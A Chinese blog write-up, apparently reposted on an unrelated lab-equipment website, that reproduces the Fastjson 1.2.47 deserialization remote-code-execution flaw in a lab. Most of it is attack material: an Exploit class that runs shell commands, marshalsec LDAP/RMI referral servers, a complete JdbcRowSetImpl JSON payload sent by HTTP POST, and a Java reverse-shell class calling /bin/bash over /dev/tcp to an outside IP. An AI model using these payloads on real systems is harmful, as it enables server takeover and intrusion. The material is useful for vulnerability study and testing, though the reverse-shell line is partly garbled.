Fastjson命令执行漏洞复现(fastjson <=1.2.47)

您所在的位置:网站首页 fastjson 1247 漏洞 Fastjson命令执行漏洞复现(fastjson <=1.2.47)

Fastjson命令执行漏洞复现(fastjson <=1.2.47)

2024-07-12 15:07:42| 来源: 网络整理| 查看: 265

一、搭建环境:

第一种:Docker一键拉取环境

htttps://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce

第二种:tomacat搭建:

1、搭建tomcat环境首先去tomcat官网下载tomcathttps://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.48/bin/apache-tomcat-9.0.48.tar.gz2、将此压缩包复制到我的linux服务器上解压

tar zxvf apache-tomcat-9.0.48.tar.gz

Fastjson命令执行漏洞复现(fastjson <=1.2.47)3、把文件放在tomcat9文件夹,授予tomcat9这个文件夹777权限

cd /usr/localmkdir tomcat9在apache-tomcat-9.0.48 所在目录下执行cp -r apache-tomcat-9.0.48/* /usr/local/tomcat9/cd /usr/local/chmod -R 777 tomcat9

4、安装java环境上传jdk压缩包文件到服务器/usr/java目录下

tar zxvf jdk-8u181-linux-x64.tar.gz

配置JDK版本及环境变量

vi /etc/profile #javaexport JAVA_HOME=/usr/java/jdk1.8.0_102export PATH=$JAVA_HOME/bin:$PATHexport CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib

Fastjson命令执行漏洞复现(fastjson <=1.2.47)

source /etc/profile java -version

Fastjson命令执行漏洞复现(fastjson <=1.2.47)

5、启动tomcat

进入tomcat9下的bin目录

./catalina.sh start

Fastjson命令执行漏洞复现(fastjson <=1.2.47)Fastjson命令执行漏洞复现(fastjson <=1.2.47)我这里因为8080端口被占用了,改了下tomcat端口到8088了,改端口的话在tomcat目录下的conf文件。

6、最后复制fastjson1.2.47到webapps文件夹下,环境即搭建成功。

##在webapps下新建fastjson目录mkdir fastjson在fastjson目录下执行cp -r fastjson/* /usr/local/tomcat9//webapps/fastjson

Fastjson命令执行漏洞复现(fastjson <=1.2.47)成功

**

二、CentOS安装maven

1、安装 wget 命令:

yum -y install wget

2、下载maven安装包

wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz![在这里插入图片描述](https://img-blog.csdnimg.cn/20210621094805370.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3N6Z3l1bnl1bg==,size_16,color_FFFFFF,t_70)3.解压maven安装包```bashtar -zxvf apache-maven-3.5.4-bin.tar.gz

4.配置maven:

vim /etc/profile

在配置文件配置中加上:

export MAVEN_HOME=/root/apache-maven-3.5.4 (这个目录换成你的 maven 解压后的文件所在目录) export PATH=$MAVEN_HOME/bin:$PATH

Fastjson命令执行漏洞复现(fastjson <=1.2.47)5、让文件生效,刷新配置文件 :

source /etc/profile

6.查看maven 版本:

mvn -version# 或者mvn -v

Fastjson命令执行漏洞复现(fastjson <=1.2.47)

**

三、【漏洞利用】漏洞利用

【基础知识】反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。

RMI是一种行为,指的是Java远程方法调用。

JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。

ldap指轻量级目录访问协议。具体可参考https://xz.aliyun.com/t/7079

存在java版本限制:基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。Fastjson命令执行漏洞复现(fastjson <=1.2.47)

【漏洞复现】

1、拿个来自斯文大佬的EXP**Exploit:

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec("touch /tmp/fastjson.test"); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { }}

上述代码保存为Exploit.java然后运行javac Exploit.java编译生成Exploit.class文件上传到VPS上

2、在VPS上Exploit.class目录下运行

python3 -m http.server 7000

使用python搭建一个临时的web服务Ps:此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件Fastjson命令执行漏洞复现(fastjson <=1.2.47)

3、在本地启动rmi服务器,这里推荐github上的一个项目marshalsec

(也可以直接用打包好的jar包在文末公众号回复获取:marshalsec-0.0.3-SNAPSHOT.jar )

安装mvn

https://github.com/mbechler/marshalsec

需要用maven进行生成jar包,进入marshalsec目录后

git clone https://github.com/mbechler/marshalsec.gitcd marshalsemvn clean package -Dmaven.test.skip=true或者mvn clean package -DskipTests

这一步可能会报错一般是java环境变量没设置好我重装了下JDK就好了https://blog.csdn.net/szgyunyun/article/details/118081356

Fastjson命令执行漏洞复现(fastjson <=1.2.47)4、之后利用marshalsec,启动ldap服务

LDAP:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.71.1:7000/#TouchFile" 9999##这里很尴尬文章写了一半我VPS到期了,换成本地了http://192.168.71.1:7000/#TouchFile就是本地起的web服务。或者RMI:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.71.1/#TouchFile" 9999

Fastjson命令执行漏洞复现(fastjson <=1.2.47)

5、查看一下靶机源码,发现参数name和age,构造一下,回显正常,真实环境中这些都是目标机自带的,找到提交json的地方构造poc即可Fastjson命令执行漏洞复现(fastjson <=1.2.47)

POST / HTTP/1.1Host: 192.168.71.128:8090Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Content-Type: application/jsonConnection: closeContent-Length: 19{name:"1",age:"20"}

Fastjson命令执行漏洞复现(fastjson <=1.2.47)

6、上poc

POST / HTTP/1.1Host: 192.168.71.128:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept:*/*Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/jsonUpgrade-Insecure-Requests: 1Content-Length: 257{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.71.1:9999/Exploit", "autoCommit":true }}

这边已经监听到了Fastjson命令执行漏洞复现(fastjson <=1.2.47)到docker里边去看一下

docker exec -it d29ba4bb5ca1 /bin/bash

Fastjson命令执行漏洞复现(fastjson <=1.2.47)**

四、反弹shell

**

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class shell{ public shell() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5/dev/tcp/139.9.xxx.xxx/8888;cat &5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { }}

Fastjson命令执行漏洞复现(fastjson <=1.2.47)微信公众号欢迎关注,回复“marshalsec”获取打包好的marshalsec-0.0.3-SNAPSHOT.jar

Fastjson命令执行漏洞复现(fastjson <=1.2.47)

本文始发于微信公众号(瓜神学习网络安全):Fastjson命令执行漏洞复现(fastjson <=1.2.47)



【本文地址】

公司简介

联系我们

今日新闻


点击排行

实验室常用的仪器、试剂和
说到实验室常用到的东西,主要就分为仪器、试剂和耗
不用再找了,全球10大实验
01、赛默飞世尔科技(热电)Thermo Fisher Scientif
三代水柜的量产巅峰T-72坦
作者:寞寒最近,西边闹腾挺大,本来小寞以为忙完这
通风柜跟实验室通风系统有
说到通风柜跟实验室通风,不少人都纠结二者到底是不
集消毒杀菌、烘干收纳为一
厨房是家里细菌较多的地方,潮湿的环境、没有完全密
实验室设备之全钢实验台如
全钢实验台是实验室家具中较为重要的家具之一,很多

推荐新闻


图片新闻

实验室药品柜的特性有哪些
实验室药品柜是实验室家具的重要组成部分之一,主要
小学科学实验中有哪些教学
计算机 计算器 一般 打孔器 打气筒 仪器车 显微镜
实验室各种仪器原理动图讲
1.紫外分光光谱UV分析原理:吸收紫外光能量,引起分
高中化学常见仪器及实验装
1、可加热仪器:2、计量仪器:(1)仪器A的名称:量
微生物操作主要设备和器具
今天盘点一下微生物操作主要设备和器具,别嫌我啰嗦
浅谈通风柜使用基本常识
 众所周知,通风柜功能中最主要的就是排气功能。在

专题文章

    CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭